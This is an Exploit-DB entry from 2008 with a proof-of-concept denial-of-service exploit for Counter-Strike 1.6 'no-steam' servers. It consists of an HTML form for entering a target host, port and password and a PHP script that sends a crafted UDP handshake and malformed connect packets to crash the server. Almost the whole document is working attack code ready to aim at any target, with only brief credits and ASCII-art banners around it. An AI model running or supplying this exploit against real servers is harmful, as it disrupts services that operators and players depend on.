Exploit-DB #4856
Description: Half-Life CSTRIKE Server 1.6 - 'no-steam' Denial of Service
Type: dos
Platform: multiple
Date: 2008-01-06
Author: Eugene Minaev

Exploit:
----[  Counter Strike 1.6 Denial Of Service POC ... ITDefence.ru Antichat.ru ]

							Counter Strike 1.6 Denial Of Service POC
								Eugene Minaev underwater@itdefence.ru
							Bug was found by Maxim Suhanov ( THE FUF )
								works only with no-steam servers
				___________________________________________________________________
			____/  __ __ _______________________ _______  _______________    \  \   \
			/ .\  /  /_// //              /        \       \/      __       \   /__/   /
			/ /     /_//              /\        /       /      /         /     /___/
			\/        /              / /       /       /\     /         /         /
			/        /               \/       /       / /    /         /__       //\
			\       /    ____________/       /        \/    __________// /__    // /   
			/\\      \_______/        \________________/____/  2007    /_//_/   // //\
			\ \\                                                               // // /
			.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
			. \_\\________[________________________________________]_________//_//_/ . .
		
		<html>
		<head>
		<title>Counter Strike DOS POC (underwater@itdefence.ru) </title>

		<style type="text/css">

		input {
		width: 150px;
		}

		td {
		font-size: 12px;
		font-family: Verdana, "Trebuchet MS";
		text-align: left;
		}

		span.err {
		color: red;
		}

		span.ok {
		color: green;
		}

		</style>

		</head>

		<body onload="checkpass()">

		<div style="width: 210px; margin: auto;">
		<form name="csform" method="post" action="cs.php">

		<table border="1" align="center" cellpadding="2" cellspacing="0" style="width: 100%;">
		<tr>
		<td style="width: 50px;">Host</td>
		<td colspan="2"><input name="host" type="text" value=""/></td>
		</tr>

		<tr>
		<td>Port</td>
		<td colspan="2"><input name="port" type="text" value=""/></td>
		</tr>

		<tr>
		<td>&nbsp;</td>
		<td><input name="auth" type="checkbox" value="" style="width: 30px;"/></td>
		<td>Auth Type 2</td>
		</tr>

		<tr>
		<td>Pass</td>
		<td colspan="2"><input name="pass" type="text" value="" /></td>
		</tr>


		<tr>
		<td>&nbsp;</td>
		<td colspan="2"><input type="submit" Value="Run"/></td>
		</tr>


		</table> 
		<br/>
		</form>
		</div>
		<center>ITDEFENCE / RUSSIA (http://itdefence.ru)<br>
		</body>
		</html>

		<?php

		/*
		CS-dos exploit made by underwater 
		Bug was discovered by .FUF  
		Big respect 2 Sax-mmS ( for html ) , Focs ( for his cs server [IMG]http://www.softoplanet.ru/style_emoticons/default/biggrin.gif[/IMG] ) , SkvoznoY , Bug(O)R,Antichat.ru and Cup.su
		*/

		ini_set("display_errors","0");

		function HELLO_PACKET()
		{
		$packet = pack("H*","FFFFFFFF");
		$packet .= "TSource Engine Query";
		$packet .= pack("H*","00");
		return $packet;
		}

		function CHALLENGE_PACKET()
		{
		$packet = pack("H*","FFFFFFFF");
		$packet .= "getchallenge valve";
		$packet .= pack("H*","00");
		return $packet;
		}

		function LOGIN_PACKET_4()
		{
		global $cookie;
		global $password;
		$packet = pack("H*","FFFFFFFF");
		$packet .= "connect 47 ";
		$packet .= $cookie.' "';
		$packet .= '\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2" "';
		$packet .= '\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\mod';
		$packet .= 'el\gordon\name\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
		$packet .= 'word\\'.$password;
		$packet .= pack("H*","220A0000EE02");
		return $packet;
		}

		function LOGIN_PACKET_2()
		{
		global $cookie;
		global $password;
		$packet = pack("H*","FFFFFFFF");
		$packet .= "connect 47 ";
		$packet .= $cookie.' "';
		$packet .= '\prot\2\raw\d506d189cf551620a70277a3d2c55bb2" "\_cl_autowepswitch\1\bott';
		$packet .= 'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\model\gordon\nam';
		$packet .= 'e\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
		$packet .= 'word\\'.$password;
		$packet .= pack("H*","22");
		return $packet;
		}

		function dowork($host,$port,$password,$auth)
		{
		global $password;
		global $cookie;
		# connecting to target host
		$fsock = fsockopen("udp://".$host,(int) $port,$errnum,$errstr,2);
		if (!$fsock) die ($errstr);
		else 
		{
		# sending hello packet
		fwrite ($fsock,HELLO_PACKET());
		fread ($fsock,100);
		# sending chalennge packet
		fwrite ($fsock,CHALLENGE_PACKET());
		# recieving cookies
		$resp = fread($fsock,100);
		# grab cookies from packet
		$cookie = substr($resp,strpos($resp,"A00000000")+10);
		$cookie = substr($cookie,0,strpos($cookie," "));
		# sending login packet
		if (!$auth) fwrite ( $fsock,LOGIN_PACKET_4());else fwrite ( $fsock,LOGIN_PACKET_2());
		$resp = fread($fsock,100);
		}
		}

		IF (isset($_POST['host']) && isset($_POST['port']))
		{
		IF (empty($_POST['pass'])) $password = "123";
		else $password = $_POST['pass'];
		$fserver = $_POST['host'];
		$fport = $_POST['port'];
		if (isset($_POST['auth'])) $fauth = true;else $fauth=false;
		# we have to connect 2 times
		$result = dowork($fserver,$fport,$password,$fauth);
		$result = dowork($fserver,$fport,$password,$fauth);
		# parsing result
		echo "Exploit Sent";
		}
		?>

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

# milw0rm.com [2008-01-06]